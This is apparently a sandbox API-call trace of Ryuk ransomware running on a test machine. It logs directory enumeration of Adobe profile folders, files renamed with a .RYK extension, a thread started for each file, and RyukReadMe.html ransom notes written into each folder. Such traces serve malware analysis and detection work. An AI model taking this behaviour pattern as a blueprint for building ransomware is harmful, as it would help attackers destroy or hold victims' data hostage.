	[0203.203] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0203.203] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14e, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0203.203] SetLastError (dwErrCode=0x0) 
	[0203.203] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494
	[0203.203] GetLastError () returned 0xb7
	[0203.203] CloseHandle (hObject=0x494) returned 1
	[0203.203] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0203.204] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0203.204] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x470ddb90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x15e, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0203.204] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0203.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498
	[0203.207] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.208] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47129e50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x15e, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0203.208] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0203.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c
	[0203.211] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.212] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15e, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0203.212] SetLastError (dwErrCode=0x0) 
	[0203.212] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0
	[0203.212] GetLastError () returned 0xb7
	[0203.212] CloseHandle (hObject=0x4a0) returned 1
	[0203.213] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x168, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0203.213] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x168, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0203.213] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47801d90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x168, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0203.213] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0203.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4
	[0203.216] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.216] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x168, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0203.216] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x168, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0203.216] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0203.217] SetLastError (dwErrCode=0x0) 
	[0203.217] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0
	[0203.217] GetLastError () returned 0xb7
	[0203.217] CloseHandle (hObject=0x4a0) returned 1
	[0203.217] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46de4010, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46de4010, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46de4010, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x15e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0203.217] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4784e050, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x15e, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0203.217] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0203.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0
	[0203.219] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.220] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x15e, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0203.220] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0203.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8
	[0203.229] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.230] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x15e, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0203.230] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0203.230] SetLastError (dwErrCode=0x0) 
	[0203.231] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494
	[0203.231] GetLastError () returned 0xb7
	[0203.231] CloseHandle (hObject=0x494) returned 1
	[0203.231] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x14e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0203.231] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x14e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0203.231] FindClose (in: hFindFile=0x29ee00 | out: hFindFile=0x29ee00) returned 1
	[0203.231] SetLastError (dwErrCode=0x0) 
	[0203.232] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454
	[0203.232] GetLastError () returned 0xb7
	[0203.232] CloseHandle (hObject=0x454) returned 1
	[0203.232] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0203.232] SetLastError (dwErrCode=0x0) 
	[0203.232] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454
	[0203.233] GetLastError () returned 0xb7
	[0203.233] CloseHandle (hObject=0x454) returned 1
	[0203.233] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee00
	[0203.233] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0203.233] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4790c730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x14e, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0203.233] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0203.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494
	[0203.830] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.831] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14e, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0203.831] SetLastError (dwErrCode=0x0) 
	[0203.831] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.831] GetLastError () returned 0xb7
	[0203.831] CloseHandle (hObject=0x4ac) returned 1
	[0203.831] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f0a0
	[0203.832] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0203.833] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4778f970, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4778f970, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4778f970, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x15a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0203.833] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47a894f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x15a, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0203.833] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0203.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4
	[0203.835] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.835] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x15a, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0203.835] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0203.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0
	[0203.838] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.839] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x15a, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0203.839] FindClose (in: hFindFile=0x29f0a0 | out: hFindFile=0x29f0a0) returned 1
	[0203.839] SetLastError (dwErrCode=0x0) 
	[0203.839] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.840] GetLastError () returned 0xb7
	[0203.840] CloseHandle (hObject=0x4ac) returned 1
